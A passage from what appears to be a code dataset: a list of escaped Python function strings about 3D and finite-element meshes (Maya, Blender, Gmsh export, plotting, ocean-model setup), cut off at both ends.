_l_combine.append(_res[0])\\n\\n _res = mc.polyUnite(_l_combine,ch=False,mergeUVSets=1,n = \\\"{0}_proxy_geo\\\".format(root))\\n if merge:\\n mc.polyMergeVertex(_res[0], d= .01, ch = 0, am = 1 )\\n #polyMergeVertex -d 0.01 -am 1 -ch 1 box_3_proxy_geo;\\n mc.polySetToFaceNormal(_res[0],setUserNormal = True) \\n else:\\n _res = _res_body\\n return _res[0]\\n \\n \\n \\n \\n return \\n l_uIsos = SURF.get_dat(str_meshShape, uKnots=True)['uKnots']\\n log.debug(\\\"|{0}| >> Isoparms U: {1}\\\".format(_str_func,l_uIsos))\\n \\n #Process ----------------------------------------------------------------------------------\\n l_newCurves = []\\n d_curves = {}\\n \\n def getCurve(uValue,l_curves):\\n _crv = d_curves.get(uValue)\\n if _crv:return _crv\\n _crv = mc.duplicateCurve(\\\"{0}.u[{1}]\\\".format(str_meshShape,uValue), ch = 0, rn = 0, local = 0)[0]\\n mCrv = cgmMeta.asMeta(_crv)\\n mCrv.p_parent=False\\n d_curves[uValue] = mCrv\\n log.debug(\\\"|{0}| >> created: {1} ...\\\".format(_str_func,_crv)) \\n l_curves.append(mCrv)\\n return mCrv\\n \\n for uValue in l_uIsos:\\n mCrv = getCurve(uValue,l_newCurves)\",\n \"def test_plot_mesh(self):\\n plt.close('all')\\n\\n #\\n # Initialize\\n #\\n fig, ax = plt.subplots(3,3)\\n plot = Plot()\\n #\\n # Define mesh\\n # \\n mesh = Mesh.newmesh(grid_size=(2,2))\\n mesh.refine() \\n mesh.root_node().children[1,1].mark(1)\\n mesh.refine(1)\\n \\n # Plot simple mesh\\n ax[0,0] = plot.mesh(ax[0,0], mesh)\\n \\n #\\n # Flag a few cells\\n # \\n mesh.unmark(nodes=True)\\n mesh.root_node().children[0,0].mark(2)\\n mesh.root_node().children[1,0].mark(1)\\n mesh.root_node().children[1,1].children['SW'].mark(3)\\n mesh.root_node().children[1,1].children['NE'].mark(3)\\n \\n # Color flagged cells\\n ax[0,1] = plot.mesh(ax[0,1], mesh, color_marked=[1,2,3], nested=True)\\n \\n # Plot vertex numbers\\n ax[0,2] = plot.mesh(ax[0,2], mesh, vertex_numbers=True)\\n \\n # Plot edge numbers\\n ax[1,0] = plot.mesh(ax[1,0], mesh, edge_numbers=True)\\n \\n # Plot cell numbers nested off\\n mesh.refine(2)\\n ax[1,1] = plot.mesh(ax[1,1], mesh, cell_numbers=True)\\n \\n # Plot cell numbers nested on\\n ax[1,2] = plot.mesh(ax[1,2], mesh, cell_numbers=True, nested=True)\\n\\n # Plot dofs\\n element = QuadFE(2,'Q1')\\n ax[2,0] = plot.mesh(ax[2,0], mesh, element=element, dofs=True)\\n \\n # Assign dofs in a nested way\\n ax[2,1] = plot.mesh(ax[2,1], mesh, element=element, dofs=True, \\\\\\n nested=True)\\n \\n # Display only dofs of flagged nodes \\n ax[2,2] = plot.mesh(ax[2,2], mesh, element=element, dofs=True, \\\\\\n node_flag=3, nested=True, show_axis=True)\",\n \"def create_mesh(verts, faces, name):\\n thisfunc = thisfile + '->create_mesh()'\\n\\n verts = np.array(verts)\\n\\n # Create mesh\\n mesh_data = bpy.data.meshes.new(name)\\n mesh_data.from_pydata(verts, [], faces)\\n mesh_data.update()\\n\\n logging.info(\\\"%s: Mesh '%s' created\\\", thisfunc, name)\\n\\n return mesh_data\",\n \"def __init__(self, mesh, V):\\n super().__init__(mesh, V)\\n self.bcs = None\",\n \"def __init__(self, mesh):\\n self._mesh = mesh\",\n \"def WriteMesh(fileW, mesh, exportMatrix, materials, labels, isCollision = False):\\n from . import fileWriter, enums\\n global DO\\n\\n debug(\\\" Writing BASIC:\\\", mesh.name)\\n start = fileW.tell()\\n\\n # the verts and normals in pairs and a list that translates between original id and distinct id\\n distVertNrm = VertNrmPairs(mesh.vertices, exportMatrix) \\n\\n #creating a bounding box and updating it while writing vertices\\n bounds = BoundingBox()\\n\\n #writing vertices\\n verticesAddress = fileW.tell()\\n for v in distVertNrm:\\n v[0].write(fileW)\\n bounds.checkUpdate(v[0])\\n\\n bounds.calcCenter()\\n bounds.calcRadius(mesh.vertices)\\n\\n #writing normals\\n normalsAddress = fileW.tell()\\n for v in distVertNrm:\\n v[1].write(fileW)\\n\\n # creating the loops (as an index list)\\n\\n if isCollision:\\n polyVs = PolyVert.collisionFromLoops(mesh)\\n else:\\n polyVs = PolyVert.fromLoops(mesh)\\n\\n # making them strips, each set is for one mesh set\\n materialLength = len(materials)\\n if materialLength < 2:\\n polyT = list()\\n for p in polyVs:\\n polyT.extend(p)\\n polyVs = [polyT]\\n\\n\\n polyStrips = PolyVert.toStrips(polyVs)\\n\\n if DO:\\n for i,s in enumerate(polyStrips):\\n if s is not None:\\n if s[0] == enums.PolyType.Strips:\\n print(\\\" strips\\\", str(i)+\\\":\\\", len(s) - 1)\\n else:\\n print(\\\" tris\\\", str(i)+\\\":\\\", (len(s) - 1) / 3)\\n\\n #writing the mesh data and getting the mesh sets\\n meshSets = list() #[None] * len(polyStrips)\\n\\n if materialLength == 0 or isCollision:\\n for i, p in enumerate(polyStrips):\\n if p == None:\\n continue\\n meshSets.append(PolyVert.write(fileW, mesh, 0, i, p, isCollision))\\n else:\\n for i, p in enumerate(polyStrips):\\n if p == None:\\n continue\\n matID = 0\\n try:\\n for mid, m in enumerate(materials):\\n if m.name == mesh.materials[i].name:\\n matID = mid\\n break\\n except ValueError:\\n debug(\\\" material\\\", mesh.materials[i].name, \\\"not found\\\")\\n meshSets.append(PolyVert.write(fileW, mesh, matID, i, p))\\n\\n # writing the mesh sets\\n meshSetAddress = fileW.tell()\\n\\n for m in meshSets:\\n m.write(fileW, labels)\\n\\n #adding mesh address to the labels\\n labels[\\\"bsc_\\\" + mesh.name] = fileW.tell()\\n #labels[mesh.name] = fileW.tell()\\n\\n #writing addresses\\n\\n labels[\\\"bsc_\\\" + mesh.name + \\\"_v\\\"] = verticesAddress\\n fileW.wUInt(verticesAddress)\\n labels[\\\"bsc_\\\" + mesh.name + \\\"_nrm\\\"] = normalsAddress\\n fileW.wUInt(normalsAddress)\\n fileW.wUInt(len(distVertNrm))\\n labels[\\\"bsc_\\\" + mesh.name + \\\"_ml\\\"] = meshSetAddress # ml = \\\"mesh list\\\"\\n fileW.wUInt(meshSetAddress)\\n fileW.wUInt(0x00000010) # material address is always the same (at least the way this addon exports the format)\\n fileW.wUShort(len(meshSets))\\n fileW.wUShort(materialLength) # material count\\n bounds.write(fileW)\\n fileW.wUInt(0) #sa1 gap\\n\\n if DO:\\n print(\\\" vert addr:\\\", '{:08x}'.format(verticesAddress))\\n print(\\\" nrm addr:\\\", '{:08x}'.format(normalsAddress))\\n print(\\\" vertices:\\\", len(distVertNrm))\\n print(\\\" set addr:\\\", '{:08x}'.format(meshSetAddress))\\n print(\\\" sets:\\\", len(meshSets))\\n print(\\\" mats:\\\", materialLength)\\n print(\\\" BASIC length:\\\", (fileW.tell() - start))\\n print(\\\"----- \\\\n\\\")\\n\\n fileW.align(4)\",\n \"def run(self):\\n config = self.config\\n logger = self.logger\\n\\n timeStart = time.time()\\n\\n section = config['horizontal_grid']\\n nx = section.getint('nx')\\n ny = section.getint('ny')\\n dc = section.getfloat('dc')\\n\\n dsMesh = make_planar_hex_mesh(nx=nx, ny=ny, dc=dc, nonperiodic_x=True,\\n nonperiodic_y=False)\\n write_netcdf(dsMesh, 'base_mesh.nc')\\n\\n dsMesh = cull(dsMesh, logger=logger)\\n dsMesh = convert(dsMesh, graphInfoFileName='culled_graph.info',\\n logger=logger)\\n write_netcdf(dsMesh, 'culled_mesh.nc')\\n\\n section = config['vertical_grid']\\n maxDepth = section.getfloat('bottom_depth')\\n nVertLevels = section.getint('vert_levels')\\n\\n section = config['solitary_wave']\\n config_eos_linear_alpha = section.getfloat('eos_linear_alpha')\\n config_eos_linear_Tref = section.getfloat('eos_linear_Tref')\\n config_eos_linear_Sref = section.getfloat('eos_linear_Sref')\\n config_eos_linear_densityref = section.getfloat(\\n 'eos_linear_densityref')\\n h1 = section.getfloat('h1')\\n deltaRho = section.getfloat('deltaRho')\\n interfaceThick = section.getfloat('interfaceThick')\\n amplitude = section.getfloat('amplitude')\\n wavelenght = section.getfloat('wavelenght')\\n\\n # comment('obtain dimensions and mesh variables')\\n # vertical_coordinate = 'uniform'\\n\\n ds = dsMesh.copy()\\n nCells = ds.nCells.size\\n nEdges = ds.nEdges.size\\n nVertices = ds.nVertices.size\\n\\n xCell = ds.xCell\\n angleEdge = ds.angleEdge\\n\\n # initialize velocity field\\n u = np.zeros([1, nEdges, nVertLevels])\\n\\n # comment('create and initialize variables')\\n time1 = time.time()\\n\\n surfaceStress = np.nan * np.ones(nCells)\\n atmosphericPressure = np.nan * np.ones(nCells)\\n boundaryLayerDepth = np.nan * np.ones(nCells)\\n\\n ds['bottomDepth'] = maxDepth * xarray.ones_like(xCell)\\n ds['ssh'] = xarray.zeros_like(xCell)\\n\\n init_vertical_coord(config, ds)\\n\\n # initial salinity, density, temperature\\n ds['salinity'] = (config_eos_linear_Sref *\\n xarray.ones_like(ds.zMid)).where(ds.cellMask)\\n ds['density'] = \\\\\\n (config_eos_linear_densityref -\\n (0.5*deltaRho)*(np.tanh(\\n (2/interfaceThick)*np.arctanh(0.99) *\\n (ds.zMid + amplitude*np.exp(\\n -(ds.xCell/wavelenght)*(ds.xCell/wavelenght)) + h1))))\\n # T = Tref - (rho - rhoRef)/alpha\\n ds['temperature'] = \\\\\\n (config_eos_linear_Tref\\n - (ds.density - config_eos_linear_densityref) /\\n config_eos_linear_alpha)\\n\\n # initial velocity on edges\\n ds['normalVelocity'] = (('Time', 'nEdges', 'nVertLevels',),\\n np.zeros([1, nEdges, nVertLevels]))\\n normalVelocity = ds['normalVelocity']\\n for iEdge in range(0, nEdges):\\n normalVelocity[0, iEdge, :] = u[0, iEdge, :] * \\\\\\n math.cos(angleEdge[iEdge])\\n\\n # Coriolis parameter\\n ds['fCell'] = (('nCells', 'nVertLevels',),\\n np.zeros([nCells, nVertLevels]))\\n ds['fEdge'] = (('nEdges', 'nVertLevels',),\\n np.zeros([nEdges, nVertLevels]))\\n ds['fVertex'] = (('nVertices', 'nVertLevels',),\\n np.zeros([nVertices, nVertLevels]))\\n\\n # surface fields\\n surfaceStress[:] = 0.0\\n atmosphericPressure[:] = 0.0\\n boundaryLayerDepth[:] = 0.0\\n print(f' time: {time.time() - time1}')\\n\\n # comment('finalize and write file')\\n time1 = time.time()\\n\\n # If you prefer not to have NaN as the fill value, you should consider\\n # using mpas_tools.io.write_netcdf() instead\\n write_netcdf(ds, 'initial_state.nc')\\n print(f' time: {time.time() - time1}')\\n print(f'Total time: {time.time() - timeStart}')\",\n \"def mesher(cse):\\n # get dimensionality.\\n ndim = 2\\n # determine meshing template file name.\\n tmplfn = '%s.gmsh.tmpl' % ('cube' if 3 == ndim else 'square')\\n # determine characteristic length of mesh.\\n try:\\n itv = float(cse.io.basefn.split('_')[-1])/1000\\n except ValueError:\\n itv = 0.2\\n # load the meshing commands.\\n cmds = open(tmplfn).read() % itv\\n cmds = [cmd.strip() for cmd in cmds.strip().split('\\\\n')]\\n # make the original mesh object.\\n mobj = sc.helper.Gmsh(cmds)()\\n # convert the mesh to block.\\n blk = mobj.toblock(bcname_mapper=cse.condition.bcmap,\\n use_incenter=cse.solver.use_incenter)\\n # return the converted block.\\n return blk\",\n \"def _write_mesh_change(self, writer):\\n bloc = \\\"\\\"\\n grps = self._grp_names_for_mesh\\n model = writer.get(Modelisation)\\n self.model_give_dim = model.give_dim()\\n #if grps and model: \\n # lines = WC.Lines()\\n # cmd = \\\"MAIL=MODI_MAILLAGE(\\\"\\n # lines.add(cmd + \\\"reuse=MAIL,\\\")\\n # lines.init_idt = \\\" \\\" * len(cmd)\\n # lines.add(\\\"MAILLAGE=MAIL,\\\")\\n # opt = \\\"ORIE_PEAU_%sD=_F(GROUP_MA=%s,),\\\"\\n # #lines.add(opt % (model.give_dim(), tuple(grps)))\\n # lines.add(opt % (self.model_give_dim, tuple(grps)))\\n # lines.add(\\\");\\\")\\n # bloc = lines.build_part()\\n writer.subs(\\\"mesh_change_key\\\", bloc)\",\n \"def _write_mesh_change(self, writer):\\n bloc = \\\"\\\"\\n grps = self._grp_names_for_mesh\\n model = writer.get(Modelisation)\\n self.model_give_dim = model.give_dim()\\n #if grps and model: \\n # lines = WC.Lines()\\n # cmd = \\\"MAIL=MODI_MAILLAGE(\\\"\\n # lines.add(cmd + \\\"reuse=MAIL,\\\")\\n # lines.init_idt = \\\" \\\" * len(cmd)\\n # lines.add(\\\"MAILLAGE=MAIL,\\\")\\n # opt = \\\"ORIE_PEAU_%sD=_F(GROUP_MA=%s,),\\\"\\n # #lines.add(opt % (model.give_dim(), tuple(grps)))\\n # lines.add(opt % (self.model_give_dim, tuple(grps)))\\n # lines.add(\\\");\\\")\\n # bloc = lines.build_part()\\n writer.subs(\\\"mesh_change_key\\\", bloc)\",\n \"def _write_mesh_change(self, writer):\\n bloc = \\\"\\\"\\n grps = self._grp_names_for_mesh\\n model = writer.get(Modelisation)\\n self.model_give_dim = model.give_dim()\\n #if grps and model: \\n # lines = WC.Lines()\\n # cmd = \\\"MAIL=MODI_MAILLAGE(\\\"\\n # lines.add(cmd + \\\"reuse=MAIL,\\\")\\n # lines.init_idt = \\\" \\\" * len(cmd)\\n # lines.add(\\\"MAILLAGE=MAIL,\\\")\\n # opt = \\\"ORIE_PEAU_%sD=_F(GROUP_MA=%s,),\\\"\\n # #lines.add(opt % (model.give_dim(), tuple(grps)))\\n # lines.add(opt % (self.model_give_dim, tuple(grps)))\\n # lines.add(\\\");\\\")\\n # bloc = lines.build_part()\\n writer.subs(\\\"mesh_change_key\\\", bloc)\",\n \"def WriteGmsh(self, filename, write_surface_info=False):\\n\\n self.__do_essential_memebers_exist__()\\n\\n mesh = deepcopy(self)\\n p = self.InferPolynomialDegree()\\n\\n # if p > 1:\\n # mesh = self.GetLinearMesh(remap=True)\\n\\n element_type = mesh.element_type\\n edim = mesh.InferElementalDimension()\\n\\n # THESE TAGS ARE DIFFERENT FROM THE GMSH READER TAGS\\n bel = -1\\n if element_type == \\\"line\\\":\\n el = 1\\n elif element_type == \\\"tri\\\":\\n if p == 1:\\n el = 2\\n bel = 1\\n elif p == 2:\\n el = 9\\n bel = 8\\n elif p == 3:\\n el = 21\\n bel = 26\\n elif p == 4:\\n el = 23\\n bel = 27\\n elif element_type == \\\"quad\\\":\\n if p == 1:\\n el = 3\\n bel = 1\\n elif p == 2:\\n el = 10\\n bel = 8\\n elif p == 3:\\n el = 36\\n bel = 26\\n elif p == 4:\\n el = 37\\n bel = 27\\n elif element_type == \\\"tet\\\":\\n if p == 1:\\n el = 4\\n bel = 2\\n elif p == 2:\\n el = 11\\n bel = 9\\n elif element_type == \\\"hex\\\":\\n if p == 1:\\n el = 5\\n bel = 3\\n else:\\n el = 12\\n bel = 10\\n else:\\n raise ValueError(\\\"Element type not understood\\\")\\n\\n\\n elements = np.copy(mesh.elements).astype(np.int64)\\n points = mesh.points[np.unique(elements),:]\\n\\n # TRI6\\n if el == 9:\\n elements = elements[:,[0, 1, 2, 3, 5, 4]]\\n # TRI10\\n elif el == 21:\\n elements = elements[:,[0, 1, 2, 3, 4, 7, 9, 8, 5, 6]]\\n # TRI15\\n elif el == 23:\\n elements = elements[:,[0, 1, 2, 3, 4, 5, 9, 12, 14, 13, 10, 6, 7, 8, 11]]\\n # QUAD9\\n elif el == 10:\\n elements = elements[:,[0, 1, 2, 3, 4, 7, 8, 5, 6]]\\n # QUAD16\\n elif el == 36:\\n elements = elements[:,[0, 1, 2, 3, 4, 5, 9, 13, 15, 14, 10, 6, 7, 8, 12, 11]]\\n # QUAD25\\n elif el == 37:\\n elements = elements[:,[0, 1, 2, 3, 4, 5, 6, 11, 16, 21, 24, 23, 22, 17, 12, 7, 8, 9, 10, 15, 20, 19, 18, 13, 14]]\\n # TET10\\n elif el == 11:\\n # Tet 2\\n elements = elements[:,[0, 1, 2, 3, 4, 6, 5, 7, 9, 8]]\\n # HEX27\\n elif el == 12:\\n elements = elements[:,[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 13, 11, 14, 12, 15, 16, 22, 23, 25, 26, 10, 17, 18, 20, 21, 24, 19]]\\n\\n # Take care of a corner case where nnode != points.shape[0]\\n if mesh.nnode != points.shape[0]:\\n mesh.nnode = points.shape[0]\\n\\n if points.shape[1] == 2:\\n points = np.hstack((points,np.zeros((points.shape[0],1))))\\n\\n points_repr = np.zeros((points.shape[0],points.shape[1]+1), dtype=object)\\n points_repr[:,0] = np.arange(mesh.nnode) + 1\\n points_repr[:,1:] = points\\n\\n elements_repr = np.zeros((elements.shape[0],elements.shape[1]+5), dtype=object)\\n elements_repr[:,0] = np.arange(mesh.nelem) + 1\\n elements_repr[:,1] = el\\n elements_repr[:,2] = 2\\n elements_repr[:,3] = 0\\n elements_repr[:,4] = 1\\n elements_repr[:,5:] = elements + 1\\n\\n if write_surface_info:\\n\\n if edim == 3:\\n boundary = np.copy(mesh.faces).astype(np.int64)\\n elif edim == 2:\\n boundary = np.copy(mesh.edges).astype(np.int64)\\n\\n boundary_repr = np.zeros((boundary.shape[0],boundary.shape[1]+5), dtype=object)\\n boundary_repr[:,0] = np.arange(boundary.shape[0]) + 1\\n boundary_repr[:,1] = bel\\n boundary_repr[:,2] = 2\\n boundary_repr[:,3] = 0\\n boundary_repr[:,4] = 1\\n boundary_repr[:,5:] = boundary + 1\\n\\n elements_repr[:,0] += boundary.shape[0]\\n\\n gmsh_nelem = mesh.nelem + boundary.shape[0]\\n else:\\n gmsh_nelem = mesh.nelem\\n\\n with open(filename, 'w') as f:\\n f.write(\\\"$MeshFormat\\\\n\\\")\\n f.write(\\\"2.2 0 8\\\\n\\\")\\n f.write(\\\"$EndMeshFormat\\\\n\\\")\\n f.write(\\\"$Nodes\\\\n\\\")\\n f.write(str(mesh.nnode) + \\\"\\\\n\\\")\\n\\n np.savetxt(f, points_repr, fmt=\\\"%s\\\")\\n\\n f.write(\\\"$EndNodes\\\\n\\\")\\n f.write(\\\"$Elements\\\\n\\\")\\n f.write(str(gmsh_nelem) + \\\"\\\\n\\\")\\n\\n if write_surface_info:\\n np.savetxt(f, boundary_repr, fmt=\\\"%s\\\")\\n\\n np.savetxt(f, elements_repr, fmt=\\\"%s\\\")\\n\\n f.write(\\\"$EndElements\\\\n\\\")\",\n \"def create_3d_patch(model,orgin,size,N,setname='default'):\\n \\n N = map(int,N)\\n # create the coordinates and connectivity based on one\\n bxyz,bcube = block3d(orgin,size,N)\\n \\n # add node to model starting with current highest node seq\\n nn = int(model.node(bxyz))\\n update_bcube = bcube + int(nn)\\n \\n pelemset = model.element(update_bcube,setname)\\n \\n \\n nx = N[0] + 1\\n ny = N[1] + 1\\n nz = N[2] + 1\\n \\n \\n nodeline = {}\\n\\n nodeline['1'] = [nn + 1]\\n nodeline['2'] = [nn + 1 + ny*nz*(nx-1)]\\n nodeline['3'] = [nn + 1 + ny*nz*(nx-1) + (ny-1)*nz]\\n nodeline['4'] = [nn + 1 + nz*(ny-1)]\\n nodeline['5'] = [nodeline['1'][0] + (nz-1)]\\n nodeline['6'] = [nodeline['2'][0] + (nz-1)]\\n nodeline['7'] = [nodeline['3'][0] + (nz-1)]\\n nodeline['8'] = [nodeline['4'][0] + (nz-1)]\\n \\n nodeline['1-2'] = range(nodeline['1'][0],nodeline['2'][0]+1,ny*nz)\\n nodeline['2-3'] = range(nodeline['2'][0],nodeline['3'][0]+1,nz)\\n nodeline['3-4'] = range(nodeline['4'][0],nodeline['3'][0]+1,ny*nz)\\n nodeline['1-4'] = range(nodeline['1'][0],nodeline['4'][0]+1,nz)\\n\\n nodeline['5-6'] = range(nodeline['5'][0],nodeline['6'][0]+1,ny*nz)\\n nodeline['6-7'] = range(nodeline['6'][0],nodeline['7'][0]+1,nz)\\n nodeline['7-8'] = range(nodeline['8'][0],nodeline['7'][0]+1,ny*nz)\\n nodeline['5-8'] = range(nodeline['5'][0],nodeline['8'][0]+1,nz)\\n \\n nodeline['1-5'] = range(nodeline['1'][0],nodeline['5'][0]+1,1)\\n nodeline['4-8'] = range(nodeline['4'][0],nodeline['8'][0]+1,1)\\n nodeline['2-6'] = range(nodeline['2'][0],nodeline['6'][0]+1,1)\\n nodeline['3-7'] = range(nodeline['3'][0],nodeline['7'][0]+1,1)\\n \\n nodeline['1-2-3-4'] = []\\n nodeline['5-6-7-8'] = []\\n nodeline['1-2-6-5'] = []\\n nodeline['4-3-7-8'] = []\\n nodeline['1-4-8-5'] = []\\n nodeline['2-3-7-6'] = []\\n \\n for i in range(0,nx):\\n for j in nodeline['1-4']:\\n nodeline['1-2-3-4'].append(j + i*ny*nz)\\n for j in nodeline['5-8']:\\n nodeline['5-6-7-8'].append(j + i*ny*nz) \\n \\n for j in nodeline['1-5']:\\n nodeline['1-2-6-5'].append(j + i*ny*nz) \\n for j in nodeline['4-8']:\\n nodeline['4-3-7-8'].append(j + i*ny*nz)\\n \\n for i in range(0,ny):\\n for j in nodeline['1-5']:\\n nodeline['1-4-8-5'].append(j + i*nz)\\n for j in nodeline['2-6']:\\n nodeline['2-3-7-6'].append(j + i*nz)\\n #\\n for key in nodeline:\\n nodesetname = '-'.join([setname , key])\\n model.nodeset(nodesetname,{'nodelist':nodeline[key]})\\n\\n return model\",\n \"def __init__(self, name='mesh', cmesh=None):\\n Struct.__init__(self, name=name, nodal_bcs={}, io=None)\\n if cmesh is not None:\\n self.cmesh_tdim = [None] * 4\\n self.cmesh = self.cmesh_tdim[cmesh.tdim] = cmesh\\n self._collect_descs()\\n self._coors = self.cmesh.coors\\n self._set_shape_info()\",\n \"def defineCircleLayout(self):\\n # Define a 2-D array representing the position of each mesh point\\n self.xPoints = self.frange(0,self.R,self.h)\\n self.yPoints = self.frange(0,self.R,self.h)\\n\\n # Position of internal mesh points\\n internal_xyCoord = [(i,j) for i in self.xPoints for j in self.yPoints if (i - self.R)**2 + (j - self.R)**2 < self.R^2] \\n\\n # Define the dictionary containing internal points\\n for k in internal_xyCoord:\\n x = k[0]\\n y = k[1]\\n xLabel = xPoints.index(x)\\n yLabel = yPoints.index(y)\\n self.internalPoints[(xLabel,yLabel)] = meshPoint(type = 'internal',x = x, y = y, xLabel = xLabel, yLabel = yLabel) \\n\\n # Position of the boundary points\\n # Find the intersection of each mesh line with the circle\\n # For a given vertical mesh line: \\n # y = R - sqrt(R^2 - (x-R)^2) & y = R + sqrt(R^2 - (x-R)^2)\\n # For a given horizontal mesh line: \\n # x = R - sqrt(R^2 - (y-R)^2) & x = R + sqrt(R^2 - (y-R)^2)\\n boundary_xyCoord = [(0,self.R),(self.R,0),(self.R,2*self.R),(2*self.R,self.R)] + [(x,self.R - math.sqrt(self.R**2 - (x-self.R)**2)) for x in self.xPoints[1:len(self.xPoints)-1]] + [(x,self.R - math.sqrt(self.R**2 + (x-self.R)**2)) for x in self.xPoints[1:len(self.xPoints)-1]] + [(self.R - math.sqrt(self.R**2 - (y-self.R)**2),y) for y in self.yPoints[1:len(yPoints)-1]] + [(self.R + math.sqrt(self.R**2 - (y-self.R)**2),y) for y in self.yPoints[1:len(yPoints)-1]] \\n\\n # Define the dictionary containing boundary points\\n for k in boundary_xyCoord:\\n x = k[0]\\n y = k[1]\\n [xLabel,yLabel] = self.findLabel(x,y)\\n self.boundaryPoints[(xLabel,yLabel)] = meshPoint(type = 'boundary',x = x, y = y, xLabel = xLabel, yLabel = yLabel) \\n \\n # Now that we have assigned the labels we can define fE, fW, fN and fS\\n self.fCalc()\",\n \"def add_wireframe_modifier(self):\\n scene = self.set_as_active()\\n\\n # if the user selected a material, use it\\n if w_var.cb_mat_wire:\\n wireframe_mat = bpy.data.materials[w_var.mat_wire_name]\\n\\n # else, create a new one with the color selected\\n else:\\n color_wire = w_var.color_wire\\n\\n # separating rgb and alpha\\n wireframe_color_rgb = color_wire[0:3]\\n wireframe_color_alpha = color_wire[-1]\\n wireframe_mat = bpy.data.materials.new('wireframe')\\n\\n renderengine = scene.wirebomb.data_renderengine\\n \\n if renderengine == 'CYCLES':\\n wireframe_mat.use_nodes = True\\n tree = wireframe_mat.node_tree\\n tree.nodes.clear()\\n\\n # creating the nodes\\n node_transparent = tree.nodes.new('ShaderNodeBsdfTransparent')\\n node_transparent.location = -300, 100\\n\\n node_diffuse = tree.nodes.new('ShaderNodeBsdfDiffuse')\\n node_diffuse.location = -300, -100\\n node_diffuse.inputs[0].default_value = wireframe_color_rgb + (1.0,)\\n node_diffuse.color = wireframe_color_rgb\\n node_diffuse.name = 'addon_wireframe_color' # referencing to this ID in the real-time change\\n\\n node_mixshader = tree.nodes.new('ShaderNodeMixShader')\\n node_mixshader.location = 0, 50\\n node_mixshader.inputs[0].default_value = wireframe_color_alpha\\n node_mixshader.name = 'addon_wireframe_alpha' # referencing to this ID in the real-time change\\n\\n node_output = tree.nodes.new('ShaderNodeOutputMaterial')\\n node_output.location = 300, 50\\n\\n # connecting the nodes\\n tree.links.new(node_transparent.outputs[0], node_mixshader.inputs[1])\\n tree.links.new(node_diffuse.outputs[0], node_mixshader.inputs[2])\\n tree.links.new(node_mixshader.outputs[0], node_output.inputs[0])\\n\\n for node in tree.nodes:\\n node.select = False\\n\\n # sets the viewport color\\n wireframe_mat.diffuse_color = wireframe_color_rgb\\n\\n elif renderengine == 'BLENDER_RENDER':\\n wireframe_mat.diffuse_color = wireframe_color_rgb\\n wireframe_mat.use_transparency = True\\n wireframe_mat.alpha = wireframe_color_alpha\\n\\n self.select('SELECT', {'MESH'}, objects_excluded={'ELSE'})\\n\\n for obj in scene.objects:\\n if obj.select:\\n obj.data.materials.append(wireframe_mat)\\n modifier_wireframe = obj.modifiers.new(name='Wireframe', type='WIREFRAME')\\n modifier_wireframe.use_even_offset = False # Causes spikes on some models\\n modifier_wireframe.use_replace = False\\n modifier_wireframe.thickness = w_var.slider_wt_modifier\\n\\n # arbitrary high number because wire material is always added to end\\n modifier_wireframe.material_offset = 12345\\n\\n # referencing to this ID in the real-time change\\n modifier_wireframe.name = 'addon_wireframe'\\n\\n return wireframe_mat\",\n \"def create_grid(self):\\n # Domain definition\\n network = pp.FractureNetwork2d(self.frac_pts.T, self.frac_edges.T, domain=self.box)\\n gb = network.mesh(self.mesh_args) \\n pp.contact_conditions.set_projections(gb)\\n\\n self.gb = gb\\n self.Nd = self.gb.dim_max()\\n self._Nd = self.gb.dim_max()\\n g2d = self.gb.grids_of_dimension(2)[0]\\n self.min_face = np.copy(self.mesh_size) #np.min(g2d.face_areas)\\n self.min_cell = np.min(g2d.cell_volumes)\\n self.p, self.t = analysis.adjustmesh(g2d, self.tips, self.GAP)\\n self.displacement = self.p*0\\n self.fa_no = g2d.face_nodes.indices.reshape((2, g2d.num_faces), order='f').T \\n return gb\",\n \"def DisplayMesh():\\r\\n \\r\\n # Load Surface Mesh Data and generate normals\\r\\n VTKString = OpenData('C:/Users/Tim/Documents/University/Year 4/Final Project/FinalYearProjectCode/TEH_Code/InputFiles','muscle_surface.vtk')\\r\\n header, Vertices, Triangles = CreateMatrixVTK(VTKString)\\r\\n \\r\\n fig = plt.figure()\\r\\n ax1 = fig.add_subplot(111,projection = '3d')\\r\\n ax1.plot_trisurf(Vertices[:,0],Vertices[:,1],Vertices[:,2],triangles= Triangles[:,1:])\\r\\n ax1.set_zlabel('z')\\r\\n ax1.set_ylabel('y')\\r\\n ax1.set_xlabel('x')\\r\\n plt.show()\",\n \"def test_c0q1(self):\\n self.check_c0q1(test_hexMesh_3x3=False,use_petsc=True, name=\\\"_proteusMesh_\\\")\",\n \"def CreateDummy3DMeshfrom2DMesh(self):\\n\\n self.__do_memebers_exist__()\\n\\n sys.stdout = open(os.devnull, \\\"w\\\")\\n\\n p = self.InferPolynomialDegree()\\n mm = Mesh()\\n if self.element_type == \\\"quad\\\":\\n mm.element_type = \\\"hex\\\"\\n mm.elements = np.zeros((1,int((p+1)**3))).astype(np.uint64)\\n elif self.element_type == \\\"tri\\\":\\n mm.element_type = \\\"tet\\\"\\n mm.elements = np.zeros((1,int((p+1)*(p+2)*(p+3)/6))).astype(np.uint64)\\n else:\\n raise ValueError(\\\"Cannot make a 3D mesh from the 2D mesh of type {}\\\".format(self.element_type))\\n\\n mm.edges = np.zeros((1,p+1)).astype(np.uint64)\\n mm.points = np.copy(self.points)\\n mm.nelem = 1\\n mm.nnode = mm.points.shape[0]\\n mm.faces = np.copy(self.elements)\\n mm.boundary_face_to_element = np.zeros((mm.faces.shape[0],2)).astype(np.int64)\\n mm.boundary_face_to_element[:,0] = 1\\n\\n sys.stdout = sys.__stdout__\\n\\n return mm\",\n \"def __init__(self):\\n Page.__init__(self, u\\\"Paraboloide Elíptico<br><br>F(x,y)=(x, y, x<sup>2</sup>/a<sup>2</sup> + y<sup>2</sup>/b<sup>2</sup>)\\\")\\n\\n z = 0.5\\n par = RevolutionPlot3D(lambda r, t: r ** 2 + z, (0, 1), (0, 2 * pi))\\n\\n x, y, z2, u, v, cose, sen, t = createVars(['x', 'y', 'z', 'u', 'v', 'cos', 'sen', 't'])\\n\\n mesh1 = Plot3D(lambda x, y, h: h * (x ** 2 + y ** 2 + z - .01), (-1, 1), (-1, 1))\\n mesh1.addEqn(x**2+y**2 - z2**2 == 1)\\n mesh1.addFunction(lambda x, y, h: h * (x ** 2 + y ** 2 + z + .01))\\n mesh1.setLinesVisible(True)\\n mesh1.setMeshVisible(False)\\n mesh1.setBoundingBox(zrange=(-1, 1.5))\\n par.setAmbientColor(_1(145, 61, 74))\\n par.setDiffuseColor(_1(145, 61, 74))\\n par.setSpecularColor(_1(145, 61, 74))\\n baseplane = 